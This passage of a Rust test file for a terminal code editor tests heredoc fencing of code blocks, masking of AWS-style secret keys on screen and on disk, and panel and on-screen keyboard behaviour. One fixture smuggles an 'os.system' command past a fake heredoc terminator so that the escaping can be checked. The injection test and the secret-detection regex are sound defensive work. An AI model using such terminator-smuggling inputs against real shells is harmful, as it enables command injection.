    // A block that contains the terminator gets a different one, so no
    // line of it can close the heredoc early.
    let tricky = "print(1)\nCROFT_BLOCK\nimport os; os.system('id')\n";
    let cmd = super::fence_command("python3", tricky);
    assert!(cmd.starts_with("python3 - <<'CROFT_BLOCK_1'\n"), "{cmd}");
    assert!(cmd.ends_with("\nCROFT_BLOCK_1\r"), "{cmd}");
    let body = &cmd["python3 - <<'CROFT_BLOCK_1'\n".len()..cmd.len() - "\nCROFT_BLOCK_1\r".len()];
    assert_eq!(body, tricky.trim_end_matches('\n'));
}

/// A tab or `!` never reaches the shell's line editor as typed input: the
/// block goes as one quoted printf argument, and running that line through
/// a real shell reproduces the block byte for byte.
#[test]
fn fence_blocks_with_tabs_or_bangs_run_exactly_as_shown() {
    let code = "if True:\n\tprint(\"hi!\")\nx = 'a\\n'\n";
    let cmd = super::fence_command("python3", code);
    assert!(!cmd.contains('\t') && cmd.ends_with("| python3\r"), "{cmd}");
    // What the pipe feeds the interpreter, via a real sh with cat standing in.
    let line = cmd.trim_end_matches('\r').replace("| python3", "| cat");
    let out = std::process::Command::new("sh")
        .args(["-c", &line])
        .output()
        .unwrap();
    assert_eq!(String::from_utf8(out.stdout).unwrap(), code);
    // `sh` blocks run in the pane's own shell through eval: a `cd` in the
    // block persists after it.
    let sh = super::fence_command("sh", "cd /\necho 'hi!'\n");
    assert!(sh.starts_with("eval \"$(printf '%b' "), "{sh}");
    let probe = format!("{}; pwd", sh.trim_end_matches('\r'));
    let out = std::process::Command::new("sh")
        .args(["-c", &probe])
        .output()
        .unwrap();
    assert_eq!(String::from_utf8(out.stdout).unwrap(), "hi!\n/\n");
}

/// #360: the built-in secret rules sit in the trigger set by default,
/// leave it when the setting is switched off, and come back on; a reveal
/// window lasts ten seconds and asks for a redraw when it closes.
#[test]
fn secret_redaction_toggles_the_builtin_rules_and_reveal_expires() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(app.secret_redaction, "on by default");
    assert!(
        app.triggers.has_redactions(),
        "the built-in rules are loaded"
    );
    assert_eq!(
        crate::triggers::mask_text("AKIAIOSFODNN7EXAMPLE", &app.triggers, false),
        "\u{2022}".repeat(20)
    );
    app.toggle_secret_redaction();
    assert!(!app.secret_redaction);
    assert!(
        !app.triggers.has_redactions(),
        "off means no built-in rules"
    );
    app.toggle_secret_redaction();
    assert!(app.triggers.has_redactions());

    assert!(!app.redactions_revealed());
    app.reveal_redacted_secrets();
    assert!(app.redactions_revealed());
    assert!(
        !app.tick_redaction_reveal(),
        "still inside the window: no change"
    );
    app.redaction_reveal_until = Some(std::time::Instant::now());
    assert!(
        app.tick_redaction_reveal(),
        "the window closing is a redraw"
    );
    assert!(!app.redactions_revealed());
    assert!(app.status.contains("masked again"));

    // The chip reads what was PAINTED: a hidden panel paints nothing, so a
    // stale count from the last visible frame must not survive it.
    if let Some(t) = app.terminals.first_mut() {
        t.redacted_on_screen = 3;
    }
    assert_eq!(app.redacted_on_screen(), 3);
    app.show_terminal = false;
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    assert_eq!(app.redacted_on_screen(), 0, "a hidden pane counts nothing");
    app.show_terminal = true;

    // The clipboard keeps the real value unless a rule says otherwise; the
    // scrollback dump always masks.
    assert_eq!(
        app.terminal_text_for_copy(String::from("k=AKIAIOSFODNN7EXAMPLE")),
        "k=AKIAIOSFODNN7EXAMPLE"
    );
    app.triggers = std::sync::Arc::new(crate::triggers::TriggerSet::from_json(
        r#"[{ "regex": "AKIA[0-9A-Z]{16}", "action": "redact", "copy": "masked" }]"#,
    ));
    assert_eq!(
        app.terminal_text_for_copy(String::from("k=AKIAIOSFODNN7EXAMPLE")),
        format!("k={}", "\u{2022}".repeat(20))
    );
}

/// #360, byte level: the terminal session store is written to disk and
/// replayed next launch, so a key that was on screen must not be in it.
#[test]
fn the_session_store_holds_the_mask_not_the_key() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminal_session_path = tmp.path().join("terminal-sessions.json");
    let term = crate::widgets::terminal::PtyTerminal::new_with_transcript(
        tmp.path(),
        &[String::from("key AKIAIOSFODNN7EXAMPLE end")],
    )
    .unwrap();
    // The transcript is painted into the grid during the spawn, before
    // the child can write, so the save sees it at once.
    app.insert_terminal(term);
    app.save_terminal_session();
    let store = std::fs::read_to_string(&app.terminal_session_path).unwrap();
    assert!(
        !store.contains("AKIAIOSFODNN7EXAMPLE"),
        "the key leaked to disk: {store}"
    );
    assert!(
        store.contains("key \u{2022}"),
        "the mask was stored in its place: {store}"
    );
}

/// #360: quick-select offers no hint inside a masked span (a hex run or a
/// number there is a fragment of the secret), while hints elsewhere on
/// the screen survive. The masked token here is itself a hex run at a
/// word boundary, so without the filter it WOULD be a hint.
#[test]
fn quick_select_skips_hints_inside_masked_spans() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.triggers = std::sync::Arc::new(crate::triggers::TriggerSet::from_json(
        r#"[{ "regex": "token \\S+", "action": "redact" }]"#,
    ));
    let term = crate::widgets::terminal::PtyTerminal::new_with_transcript(
        tmp.path(),
        &[
            String::from("token deadbeefcafe0123 end"),
            String::from("commit cafebabe0123456 fixed it"),
        ],
    )
    .unwrap();
    app.insert_terminal(term);
    app.focus_pane(Pane::Terminal);
    app.open_terminal_quick_select();
    let state = app
        .terminal_quick_select
        .as_ref()
        .expect("quick select opened");
    let texts: Vec<&str> = state.hints.iter().map(|h| h.text.as_str()).collect();
    assert!(
        texts.iter().any(|t| t.contains("cafebabe0123456")),
        "the ordinary hash is still a hint: {texts:?}"
    );
    assert!(
        !texts.iter().any(|t| t.contains("deadbeefcafe0123")),
        "the hex run inside the masked token is not a hint: {texts:?}"
    );
}

#[test]
fn clicking_the_problems_tab_switches_the_panel_view() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    assert_eq!(app.bottom_panel_tab, BottomPanelTab::Terminal);
    let r = app.problems_tab_rect;
    assert!(r.width > 0, "the PROBLEMS tab must have a hit rect");
    left_click(&mut app, r.x, r.y);
    assert_eq!(
        app.bottom_panel_tab,
        BottomPanelTab::Problems,
        "a click on the PROBLEMS tab activates that view",
    );
    // And the TERMINAL tab switches back.
    let t = app.terminal_tab_rect;
    left_click(&mut app, t.x, t.y);
    assert_eq!(app.bottom_panel_tab, BottomPanelTab::Terminal);
}

#[test]
fn clicking_the_output_tab_switches_the_panel_view() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let r = app.output_tab_rect;
    assert!(r.width > 0, "the OUTPUT tab must have a hit rect");
    left_click(&mut app, r.x, r.y);
    assert_eq!(
        app.bottom_panel_tab,
        BottomPanelTab::Output,
        "a click on the OUTPUT tab activates that view",
    );
}

#[test]
fn the_output_view_renders_a_pushed_channel_line() {
    use crate::output::OutputLevel;
    let ch = "app-output-render-test";
    crate::output::push(ch, OutputLevel::Error, "boom-from-server");
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.bottom_panel_tab = BottomPanelTab::Output;
    // Select our channel so the assertion is independent of other channels.
    app.output.sync();
    assert!(
        app.output.select_by_name(ch),
        "the pushed channel is present in the bus",
    );
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer();
    let mut text = String::new();
    for y in 0..50 {
        for x in 0..140 {
            text.push_str(buf[(x, y)].symbol());
        }
    }
    assert!(
        text.contains("boom-from-server"),
        "the OUTPUT view renders the channel's line",
    );
}

/// Issue #215: text in the rendered Markdown view must be selectable.
/// A drag over the preview selects what is on screen, Cmd+C copies the
/// RENDERED text (not the source), and Esc clears the selection.
#[test]
fn dragging_in_the_markdown_preview_selects_and_copies_rendered_text() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let md = tmp.path().join("doc.md");
    std::fs::write(&md, "# Heading\n\nSome rendered body text here.\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&md).unwrap();
    app.focus_pane(Pane::Editor);
    // Cmd+Shift+V flips to the rendered preview.
    app.handle_key(key(
        KeyCode::Char('v'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert!(
        app.editor.markdown_preview.is_some(),
        "the preview must be up"
    );
    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();

    // Find the rendered row carrying the body text and drag across it.
    let (area, row_idx, text) = {
        let md = app.editor.markdown_preview.as_ref().unwrap();
        let (i, t) = md
            .rows
            .iter()
            .enumerate()
            .map(|(i, cells)| (i as u16, cells.concat()))
            .find(|(_, r)| r.contains("rendered body"))
            .expect("the body text must be rendered");
        (md.last_area, i, t)
    };
    let start_col = text.find("rendered").unwrap() as u16;
    let end_col = start_col + "rendered".len() as u16 - 1;
    let y = area.y + row_idx;
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Left),
        area.x + start_col,
        y,
    ));
    app.handle_mouse(mouse(
        MouseEventKind::Drag(MouseButton::Left),
        area.x + end_col,
        y,
    ));
    app.handle_mouse(mouse(
        MouseEventKind::Up(MouseButton::Left),
        area.x + end_col,
        y,
    ));
    assert_eq!(
        app.editor
            .markdown_preview
            .as_ref()
            .map(|md| md.selection_text())
            .unwrap_or_default(),
        "rendered",
        "the drag must select the rendered word under the pointer"
    );
    // The selection paints: re-render and check the tinted cell.
    term.draw(|frame| app.render(frame)).unwrap();
    let sel_bg = app.theme.selection();
    assert_eq!(
        term.backend().buffer()[(area.x + start_col, y)].bg,
        sel_bg,
        "the selected cell must wear the selection background"
    );
    // Esc clears it.
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    assert!(
        !app.editor
            .markdown_preview
            .as_ref()
            .map(|md| md.has_selection())
            .unwrap_or(false),
        "Esc clears the preview selection"
    );
}

/// Issue #212: typing in the focused Problems panel filters diagnostics
/// by text; Backspace pops a character; Esc clears the filter before it
/// gives the pane back to the editor.
#[test]
fn typing_in_the_problems_panel_filters_and_esc_clears_before_leaving() {
    use crate::lsp::manager::{Diagnostic, DiagnosticSeverity};
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("hello.rs");
    std::fs::write(&file, "fn a() {}\nfn b() {}\nfn run() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let mut by_server = std::collections::HashMap::new();
    by_server.insert(
        String::from("rustc"),
        vec![
            Diagnostic {
                start_line: 0,
                start_char: 0,
                end_line: 0,
                end_char: 1,
                severity: DiagnosticSeverity::Error,
                message: String::from("mismatched types"),
            },
            Diagnostic {
                start_line: 2,
                start_char: 3,
                end_line: 2,
                end_char: 6,
                severity: DiagnosticSeverity::Warning,
                message: String::from("function `run` is never used"),
            },
        ],
    );
    app.lsp_diagnostics.insert(file.clone(), by_server);
    app.rebuild_problems();
    app.bottom_panel_tab = BottomPanelTab::Problems;
    app.focus_pane(Pane::Terminal);

    for c in "mismatch".chars() {
        app.handle_key(key(KeyCode::Char(c), KeyModifiers::NONE))
            .unwrap();
    }
    assert_eq!(
        app.problems.text_filter, "mismatch",
        "plain typing must reach the panel's filter"
    );
    app.handle_key(key(KeyCode::Backspace, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.problems.text_filter, "mismatc", "Backspace pops");
    // Esc clears the filter but keeps the pane focused.
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    assert!(app.problems.text_filter.is_empty(), "Esc clears the filter");
    assert!(
        app.focus == Pane::Terminal,
        "the first Esc only clears; the pane keeps focus"
    );
    // A second Esc, with nothing to clear, hands the pane back.
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    assert!(app.focus == Pane::Editor, "the second Esc leaves the panel");
}

#[test]
fn clicking_a_problem_row_opens_that_file_at_the_line() {
    use crate::lsp::manager::DiagnosticSeverity;
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("hello.rs");
    std::fs::write(&file, "fn a() {}\nfn b() {}\nfn run() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let mut by_server = std::collections::HashMap::new();
    by_server.insert(
        String::from("rustc"),
        vec![crate::lsp::manager::Diagnostic {
            start_line: 2,
            start_char: 3,
            end_line: 2,
            end_char: 6,
            severity: DiagnosticSeverity::Warning,
            message: String::from("function `run` is never used"),
        }],
    );
    app.lsp_diagnostics.insert(file.clone(), by_server);
    app.rebuild_problems();
    app.bottom_panel_tab = BottomPanelTab::Problems;

    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    // Row 0 is the toolbar, row 1 the file header, row 2 the diagnostic.
    let list = app.problems.last_area;
    left_click(&mut app, list.x + 4, list.y + 2);
    assert_eq!(
        app.editor.path.as_deref(),
        Some(file.as_path()),
        "clicking the row opens the file",
    );
    assert_eq!(app.editor.cursor_row, 2, "and jumps to the diagnostic line");
}

#[test]
fn the_problems_count_paints_an_orange_pill_in_the_tab_strip() {
    use crate::lsp::manager::DiagnosticSeverity;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let a = tmp.path().join("a.rs");
    let mut s1 = std::collections::HashMap::new();
    s1.insert(
        String::from("rustc"),
        vec![diag(0, 1, DiagnosticSeverity::Error)],
    );
    app.lsp_diagnostics.insert(a, s1);
    app.rebuild_problems();
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer();
    // Somewhere along the PROBLEMS tab the count badge fills with the brand
    // gradient's orange corner, the "circle" the user asked for.
    let strip = app.problems_tab_rect;
    let orange = crate::gradient::rgb_color(crate::gradient::GRAD_TR);
    let painted = (strip.x..strip.x + strip.width).any(|x| buf[(x, strip.y)].bg == orange);
    assert!(painted, "the problem count wears an orange pill");
    // And the rounded right cap of the pill sits in brand orange foreground.
    let cap_r = (strip.x..strip.x + strip.width)
        .any(|x| buf[(x, strip.y)].symbol() == "\u{e0b4}" && buf[(x, strip.y)].fg == orange);
    assert!(cap_r, "the pill has a rounded orange right cap");
}

#[test]
fn the_active_panel_tab_is_underlined() {
    use ratatui::style::Modifier;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    // TERMINAL is active by default: its label underlines like a VS Code tab,
    // but the underline hugs the word, not the padded hit rect.
    let t = app.terminal_tab_rect;
    let buf = term.backend().buffer();
    let underlined = (t.x..t.x + t.width)
        .filter(|&x| buf[(x, t.y)].modifier.contains(Modifier::UNDERLINED))
        .count();
    assert_eq!(
        underlined,
        "TERMINAL".len(),
        "underline spans only the word"
    );
    assert!(
        !buf[(t.x, t.y)].modifier.contains(Modifier::UNDERLINED),
        "the leading pad space is not underlined",
    );
    assert!(
        !buf[(t.x + t.width - 1, t.y)]
            .modifier
            .contains(Modifier::UNDERLINED),
        "the trailing pad space is not underlined",
    );
}

// ---------------------------------------------------------------------------
// On-screen keyboard (Termux touch typing)
// ---------------------------------------------------------------------------

fn left_click(app: &mut App, column: u16, row: u16) {
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column,
        row,
        modifiers: KeyModifiers::empty(),
    });
}

fn draw(app: &mut App, w: u16, h: u16) {
    let backend = ratatui::backend::TestBackend::new(w, h);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
}

#[test]
fn osk_auto_shows_on_terminal_tap_and_only_when_armed() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.osk_auto = true;
    draw(&mut app, 80, 40);
    let t = app.terminals[0].last_area;
    assert!(t.width > 0 && t.height > 0, "terminal pane must be visible");
    left_click(&mut app, t.x + t.width / 2, t.y + t.height / 2);
    assert!(
        app.osk.is_some(),
        "a tap in the terminal must raise the on-screen keyboard on Termux"
    );

    // Desktop terminals (auto flag off) keep the band hidden on the same tap.
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.osk_auto = false;
    draw(&mut app, 80, 40);
    let t = app.terminals[0].last_area;
    left_click(&mut app, t.x + t.width / 2, t.y + t.height / 2);
    assert!(app.osk.is_none());
}

#[test]
fn osk_auto_shows_on_editor_tap() {
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("notes.txt");
    std::fs::write(&path, "hello\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.osk_auto = true;
    app.editor.open_preview(&path).unwrap();
    app.focus_pane(Pane::Editor);
    draw(&mut app, 80, 40);
    let e = app.editor.last_area;
    left_click(&mut app, e.x + e.width / 2, e.y + e.height / 2);
    assert!(
        app.osk.is_some(),
        "a tap in the editor text area must raise the on-screen keyboard"
    );
}

#[test]
fn osk_reserves_bottom_band_above_status_bar() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.osk = Some(crate::widgets::osk::Osk::new());
    draw(&mut app, 80, 40);
    let band = app.osk.as_ref().unwrap().last_area;
    assert_eq!(
        band.height,
        crate::widgets::osk::band_height(40),
        "band height scales with the frame for thumb-sized keys"
    );
    assert_eq!(
        band.y + band.height,
        40 - 1,
        "keyboard docks directly above the status bar"
    );
    assert_eq!(band.width, 80, "keyboard spans the full frame width");
    // Default focus is the sidebar, not the terminal, so the terminal pane
    // folds away entirely and its space goes to the keyboard.
    assert_eq!(
        app.terminals[0].last_area,
        Rect::default(),
        "non-focused terminal must fold away (and not phantom-hit-test) while the keyboard is up"
    );
}

#[test]
fn osk_with_editor_focus_hides_terminal_and_keeps_editor() {
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("notes.txt");
    std::fs::write(&path, "hello\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_preview(&path).unwrap();
    app.focus_pane(Pane::Editor);
    app.osk = Some(crate::widgets::osk::Osk::new());
    draw(&mut app, 80, 40);
    let band = app.osk.as_ref().unwrap().last_area;
    assert!(band.height > 0);
    assert_eq!(app.terminals[0].last_area, Rect::default());
    let e = app.editor.last_full_area;
    assert!(
        e.height > 0,
        "the editor must stay visible while typing into it"
    );
    assert!(
        e.y + e.height <= band.y,
        "editor must end above the keyboard band"
    );
}

#[test]
fn osk_with_terminal_focus_bumps_terminal_above_keyboard() {
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("notes.txt");
    std::fs::write(&path, "hello\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_preview(&path).unwrap();
    app.focus_pane(Pane::Terminal);
    app.osk = Some(crate::widgets::osk::Osk::new());
    draw(&mut app, 80, 40);
    let band = app.osk.as_ref().unwrap().last_area;
    let t = app.terminals[0].last_area;
    assert!(
        t.height > 0,
        "the terminal must stay visible while typing into it"
    );
    assert_eq!(
        t.y + t.height,
        band.y,
        "terminal rides directly on top of the keyboard"
    );
    assert_eq!(
        t.y, 1,
        "the panel group claims the editor's space from the top; the terminal \
         body sits one row down, under the panel tab strip (PROBLEMS / TERMINAL)",
    );
    assert_eq!(
        app.editor.last_area.height, 0,
        "the open editor folds away while typing into the terminal"
    );
}

#[test]
fn osk_tap_types_into_focused_editor() {
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("notes.txt");
    std::fs::write(&path, "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.osk_auto = true;
    app.editor.open_preview(&path).unwrap();
    app.focus_pane(Pane::Editor);
    draw(&mut app, 80, 40);
    let e = app.editor.last_area;
    left_click(&mut app, e.x + 1, e.y + 1);
    assert!(app.osk.is_some());
    // Second frame lays the keyboard band out so its keys are tappable.
    draw(&mut app, 80, 40);
    let r = app
        .osk
        .as_ref()
        .unwrap()
        .rect_for(crate::widgets::osk::OskKey::Char('a'))
        .expect("lower layer exposes the letter a");
    left_click(&mut app, r.x + r.width / 2, r.y);
    assert_eq!(
        app.editor.lines[0], "a",
        "an OSK letter tap must reach the editor buffer like a keystroke"
    );
}

#[test]
fn osk_hide_key_dismisses_the_band() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.osk = Some(crate::widgets::osk::Osk::new());
    draw(&mut app, 80, 40);
    let r = app
        .osk
        .as_ref()
        .unwrap()
        .rect_for(crate::widgets::osk::OskKey::Hide)
        .expect("hide key is always present");
    left_click(&mut app, r.x + r.width / 2, r.y);
    assert!(app.osk.is_none(), "the hide key must dismiss the keyboard");
}

#[test]
fn osk_tap_types_into_file_finder_query() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.osk = Some(crate::widgets::osk::Osk::new());
    app.open_file_finder();
    draw(&mut app, 80, 40);
    let r = app
        .osk
        .as_ref()
        .unwrap()
        .rect_for(crate::widgets::osk::OskKey::Char('a'))
        .unwrap();
    left_click(&mut app, r.x + r.width / 2, r.y);
    assert_eq!(
        app.file_finder.as_ref().unwrap().query,
        "a",
        "OSK taps must route into open modals, not be swallowed by their mouse gates"
    );
}

/// Render once and return (title 'T' cell coords, add-button rect).
fn terminal_header_probe(app: &mut App) -> Rect {
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let area = app.terminal().last_area;
    assert!(
        area.width > 20 && area.height > 2,
        "terminal pane must render"
    );
    app.terminal_add_buttons[0]
}

#[test]
fn black_theme_terminal_buttons_are_teal_icons_not_navy_chips() {
    use crate::gradient::{INNER_ACCENT, rgb_color};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let add = terminal_header_probe(&mut app);
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer();
    let plus = (add.x + 1, add.y);
    assert_eq!(buf[plus].symbol(), "+");
    assert_eq!(buf[plus].fg, rgb_color(INNER_ACCENT));
    assert_ne!(
        buf[plus].bg,
        Color::Rgb(0x1e, 0x3a, 0x6e),
        "Black theme must not paint the navy chip behind the + button"
    );
}

#[test]
fn black_theme_terminal_button_hover_paints_teal_pill() {
    use crate::gradient::{POPUP_SEL_BG, rgb_color};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let add = terminal_header_probe(&mut app);
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Moved,
        column: add.x + 1,
        row: add.y,
        modifiers: KeyModifiers::NONE,
    });
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer();
    let plus = (add.x + 1, add.y);
    assert_eq!(
        buf[plus].bg,
        rgb_color(POPUP_SEL_BG),
        "hovered button wears the teal pill"
    );
    assert_eq!(buf[plus].fg, Color::White);
}

#[test]
fn hovering_a_non_selected_activity_icon_emits_its_hovered_variant() {
    use ratatui::layout::Rect;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Distinguishable payloads so the emitted set reveals which variant won.
    app.overlays.activity.set_images(ActivityBarImages {
        explorer_active: "EA".into(),
        explorer_inactive: "EI".into(),
        explorer_hovered: "EH".into(),
        search_active: "SA".into(),
        search_inactive: "SI".into(),
        search_hovered: "SH".into(),
        source_control_active: "CA".into(),
        source_control_inactive: "CI".into(),
        source_control_hovered: "CH".into(),
        remote_active: "RA".into(),
        remote_inactive: "RI".into(),
        remote_hovered: "RH".into(),
        run_debug_active: "DA".into(),
        run_debug_inactive: "DI".into(),
        run_debug_hovered: "DH".into(),
        extensions_active: "XA".into(),
        extensions_inactive: "XI".into(),
        extensions_hovered: "XH".into(),
        testing_active: "TA".into(),
        testing_inactive: "TI".into(),
        testing_hovered: "TH".into(),
        codeql_active: "CA".into(),
        codeql_inactive: "CI".into(),
        codeql_hovered: "CH".into(),
        settings_active: "GA".into(),
        settings_inactive: "GI".into(),
        settings_hovered: "GH".into(),
        layout_sidebar_on: "LS".into(),
        layout_sidebar_on_hover: "LSh".into(),
        layout_sidebar_off: "LF".into(),
        layout_sidebar_off_hover: "LFh".into(),
        layout_panel_on: "LP".into(),
        layout_panel_on_hover: "LPh".into(),
        layout_panel_off: "LQ".into(),
        layout_panel_off_hover: "LQh".into(),
        layout_customize: "LC".into(),
        layout_customize_hover: "LCh".into(),
    });
    // Every view icon needs a non-empty block or the emit early-returns.
    app.sidebar_areas.explorer_icon = Rect::new(0, 0, 2, 1);
    app.sidebar_areas.search_icon = Rect::new(0, 2, 2, 1);
    app.sidebar_areas.source_control_icon = Rect::new(0, 4, 2, 1);
    app.sidebar_areas.remote_icon = Rect::new(0, 6, 2, 1);
    app.sidebar_areas.run_debug_icon = Rect::new(0, 8, 2, 1);
    app.sidebar_areas.extensions_icon = Rect::new(0, 10, 2, 1);
    app.sidebar_areas.testing_icon = Rect::new(0, 12, 2, 1);
    app.sidebar_view = SidebarView::Explorer;
    // Hover Search, a non-selected icon.
    app.hovered_activity_icon = Some(ActivityIcon::Search);
    let emitted: Vec<&str> = app
        .pending_activity_image_overlays()
        .into_iter()
        .map(|(_, s)| s)
        .collect();
    assert!(
        emitted.contains(&"SH"),
        "the hovered search icon emits its hovered variant"
    );
    assert!(
        !emitted.contains(&"SI"),
        "search drops its resting variant while hovered"
    );
    assert!(
        emitted.contains(&"EA"),
        "the selected explorer view still wins with its active variant"
    );
}

#[test]
fn moving_over_an_activity_icon_marks_it_hovered_and_redirties_the_overlay() {
    use ratatui::layout::Rect;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_areas.search_icon = Rect::new(0, 4, 2, 2);
    // Baseline: no hover, icons already emitted (clean).
    app.hovered_activity_icon = None;
    app.overlays.activity.mark_emitted();
    assert!(!app.overlays.activity.dirty());
    let moved = |col: u16, row: u16| crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Moved,
        column: col,
        row,
        modifiers: KeyModifiers::NONE,
    };
    // Pointer enters the search icon (rows 4..6).
    app.handle_mouse(moved(0, 5));
    assert_eq!(app.hovered_activity_icon, Some(ActivityIcon::Search));
    assert!(
        app.overlays.activity.dirty(),
        "entering an icon re-emits the swapped image"
    );
    // Drifting within the same icon costs nothing: no re-dirty.
    app.overlays.activity.mark_emitted();
    app.handle_mouse(moved(1, 4));
    assert_eq!(app.hovered_activity_icon, Some(ActivityIcon::Search));
    assert!(
        !app.overlays.activity.dirty(),
        "drifting within one icon does not re-emit"
    );
    // Leaving the bar clears the hover and re-emits the resting icon.
    app.handle_mouse(moved(40, 20));
    assert_eq!(app.hovered_activity_icon, None);
    assert!(
        app.overlays.activity.dirty(),
        "leaving the icon re-emits its resting variant"
    );
}

#[test]
fn dark_blue_theme_terminal_button_keeps_navy_chip() {
    // Croft Dark keeps its coherent all-blue look: navy chip on the pane's
    // add/close buttons, exactly as before the Black-theme restyle. (The pane
    // no longer carries a TERMINAL title — the panel tab strip labels it.)
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.theme = crate::theme::Theme::DARK_BLUE;
    app.sync_focus_flags();
    let add = terminal_header_probe(&mut app);
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer();
    let navy = Color::Rgb(0x1e, 0x3a, 0x6e);
    assert_eq!(buf[(add.x + 1, add.y)].bg, navy);
}

/// A long fixed note for the welcome-card tests: the live notes are rewritten
/// every version bump (`src/release_notes/<version>.md`), so pinning against
/// them would let a future one-line note quietly gut these tests. The distinctive final word is the
/// clip detector.
fn long_test_note() -> Vec<crate::release_notes::ReleaseNote> {
    vec![crate::release_notes::ReleaseNote {
        kind: crate::release_notes::NoteKind::Fix,
        summary: "A deliberately long highlight that wraps across several rows at \
                  every sane width so the card's height measure and its paint pass \
                  are both exercised, ending in a distinctive final token that no \
                  other part of the interface paints: cardclip-endcap.",
    }]
}

#[test]
fn welcome_release_note_never_clips_its_final_line() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.welcome.set_test_notes(long_test_note());
    // Give the card room: with the sidebar and panel up, narrow widths
